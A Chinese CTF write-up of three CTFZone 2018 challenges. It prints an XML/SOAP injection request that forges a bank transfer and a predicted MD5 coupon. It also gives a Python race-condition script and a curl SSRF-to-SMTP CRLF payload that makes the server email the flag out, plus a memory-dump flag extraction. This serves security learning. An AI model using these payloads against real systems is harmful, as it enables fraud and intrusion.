前言

CTFZone 2018 整体上还是学习到一些新姿势了的,就是可惜情不自禁的摸起了鱼 (lll¬ω¬)

Piggy-Bank

本题是 SOAP 相关的注入题,主要有以下 5 个页面:

  • Profile - 个人信息页面,最关键的是上面的账号 ID 和账户余额
  • Menu - 空白页面
  • Transfer - 可以在账户间实现转账
  • VIP - 只有当账户余额大于 1,000,000 才能访问,可以从中得到 flag
  • For Developers - 该页面的注释提示我们可以访问隐藏的定义文件:

通过注释,访问 http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.wsdl.php 可以得到对应 API 定义的 WSDL 文件

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions name="Bank"
targetNamespace="urn:Bank"
xmlns:tns="urn:Bank"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
  <message name="BalanceRequest">
    <part name="wallet_num" type="xsd:decimal"/>
  </message>
  <message name="BalanceResponse">
    <part name="code" type="xsd:float"/>
    <part name="status" type="xsd:string"/>
  </message>
  <message name="internalTransferRequest">
    <part name="receiver_wallet_num" type="xsd:decimal"/>
    <part name="sender_wallet_num" type="xsd:decimal"/>
    <part name="amount" type="xsd:float"/>
    <part name="token" type="xsd:string"/>
  </message>
  <message name="internalTransferResponse">
    <part name="code" type="xsd:float"/>
    <part name="status" type="xsd:string"/>
  </message>
  <portType name="BankServicePort">
    <operation name="requestBalance">
      <input message="tns:BalanceRequest"/>
      <output message="tns:BalanceResponse"/>
    </operation>
    <operation name="internalTransfer">
      <input message="tns:internalTransferRequest"/>
      <output message="tns:internalTransferResponse"/>
    </operation>
  </portType>
  <binding name="BankServiceBinding" type="tns:BankServicePort">
    <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="requestBalance">
      <soap:operation soapAction="urn:requestBalanceAction"/>
      <input>
        <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
      </input>
      <output>
        <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
      </output>
    </operation>
    <operation name="internalTransfer">
      <soap:operation soapAction="urn:internalTransferAction"/>
      <input>
        <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
      </input>
      <output>
        <soap:body use="encoded" namespace="urn:Bank" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
      </output>
    </operation>
  </binding>
  <wsdl:service name="BankService">
    <wsdl:port name="BankServicePort" binding="tns:BankServiceBinding">
      <soap:address location="http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/api/bankservice.php" />
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

通过 burp 的 wsdler 插件,我们能很方便地使用该文件定义好的 Web 服务:

burp

通过简单使用,我们能发现这两个 Web 服务的作用

requestBalance

获得对应 id 用户的余额

requestBalance

internalTransfer

internalTransfer

Attack

那么现在我们攻击的思路就非常明确了:

  1. 通过遍历 id 的方式调用 requestBalance,获得余额超过百万用户的 id
  2. 通过调用 internalTransfer 的方式将其的余额转至我们的名下
  3. 从 VIP 页面获得 flag

通过 burp 的 intruder 模块进行遍历,我们能很轻易的获得所有账户的余额

然后下面就是希望直接通过转账的方式使我们的余额增加,但可以看到上面我们直接转账的尝试失败了,因为缺少了相应的 token,token 是由服务端生成的所以我们无法控制,这里也不存在一个泄露 token 的点,所以我们只能通过向服务端注入 xml 文件的方式进行攻击:

POST /home/transfer.php HTTP/1.1
Host: web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Content-Length: 21
Cache-Control: max-age=0
Origin: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://web-05.v7frkwrfyhsjtbpfcppnu.ctfz.one/home/transfer.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: close

receiver=1624</receiver_wallet_num><amount>1000000</amount><sender_wallet_num>1337</sender_wallet_num><receiver_wallet_num>1624&amount=

此时服务端会接收到如下数据:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Bank">
  <soapenv:Header/>
  <soapenv:Body>
    <urn:internalTransfer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
      <receiver_wallet_num xsi:type="xsd:decimal">1624</receiver_wallet_num>
      <amount>1000000</amount>
      <sender_wallet_num>1337</sender_wallet_num>
      <receiver_wallet_num>1624</receiver_wallet_num>
      <sender_wallet_num xsi:type="xsd:decimal">2746.00</sender_wallet_num>
      <amount xsi:type="xsd:float">1.25</amount>
      <token xsi:type="xsd:string">xxxx</token>
    </urn:internalTransfer>
  </soapenv:Body>
</soapenv:Envelope>

由于服务器只解析第一项作为相应参数,所以此时我们注入的 xml 条目将被解析,导致我们成功 hack 了转账流程,给自己增加了账户余额

MMORPG 3000

一个神奇的 RPG 游戏,你可以通过对战升级或者充钱两种方式变强

Info

对战是不可能对战的,一辈子也不可能对战的,也就靠充钱这种方式才能变强了

但问题是每个新注册的玩家只能获得 1 元的优惠券,这是完全不够的,怎么办呢?

我们关注到优惠券的 url:http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/storage/img/coupon_69a5b5995110b36a9a347898d97a610e.png69a5b5995110b36a9a347898d97a610e 类似某种数据的 md5 值,使用 cmd5 查询后可得 1129,而此时用户的 id 是 129,由此可以推测对应的优惠券生成规则是 md5('1'+id),所以我们尝试访问 id 为 1 用户对应的优惠券:

coupon

现在我们有着充足的金额,足够我们买到 100 级了,但在这里存在着一个极为尴尬的情况:

leveup

我们不能愉快的买买买了!!!

升级又不可能升级的,所以我们只能尝试是否能够突破现在的等级限制,其中的一个思路即条件竞争,当我们同时发出升级的请求时,系统的处理不当,所以可能存在着这样一种特殊的场景:此时我们是 29 级,服务端先后接到了两个升级的请求,由于这两个请求到达时用户尚在 29 级,所以升级条件成立,此时用户成功升级到 31 级。基于这种思路,我们可以编写多线程的条件竞争脚本:

import requests
import threading

url = "http://web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/donate/lvlup"

session = "eyJ1aWQiOjEyOX0.DjjTig.8gYI8wcramg-dCXFSIlKjF_P61g"

max = 100

def levlup(session):
    requests.get(url, cookies={"session": session})

def race():
    for i in range(max):
        t = threading.Thread(target=levlup, args=(session,))
        t.start()

def main():
    race()

if __name__ == '__main__':
    main()

此时我们成功升级到 35 级: level 35

此时我们发现我们多了一个上传头像的功能:

avatar

此时推测这里存在着一个 SSRF 的漏洞(非常合理,笑

但直接访问 127.0.0.1 或是 localhost 是会被拒绝的,但我们可以访问 0.0.0.0 呀,这里就可以开始扫描一波端口了

port

扫完发现端口 25 是打开的状态,该端口对应的是 SMTP 协议,这里可以尝试 HTTP Header Inject

简单说即让通过构造命令的方式让服务器向我们发送相应邮件,这里直接附上相应的 payload:

curl 'web-03.v7frkwrfyhsjtbpfcppnu.ctfz.one/user/avatar' -H 'Cookie: session=eyJ1aWQiOjEyOX0.DjmXSw.pNA7u3H_ZtcQpSHIdN4nWCUfi3o' --data 'url=https://0.0.0.0%0d%0aMAIL FROM: <A@B.C>%0aRCPT TO: <youremail@server.com>%0aDATA%0aFROM: AAA@B.C%0aTO: youremail@server.com%0aSUBJECT: FLAG%0d%0a.%0d%0a%0aQUIT%0a:25&action=save'

email

上述思路就不知道大佬是怎么思考出来的了,真好奇.jpg

Validator3000

一道 window 相关的逆向题,解题流程如下:

  1. 运行 Validator3000.exe 程序
  2. 点击 Check Flag button
  3. 打开任务管理器,选择该程序,右键 => 创建转储文件
  4. 用二进制编辑器打开创建好的转储文件,一般而言该文件位于 C:\Users\xxx\AppData\Local\Temp\Validator3000.DMP
  5. 在二进制编辑器中,搜索 ctfzone{ 字段,记得使用 Unicode 编码
  6. 即可搜得 flag: ctfzone{R3Flec7i0n}

挺有意思的一道题目(笑

Dump Memory Unicode

参考链接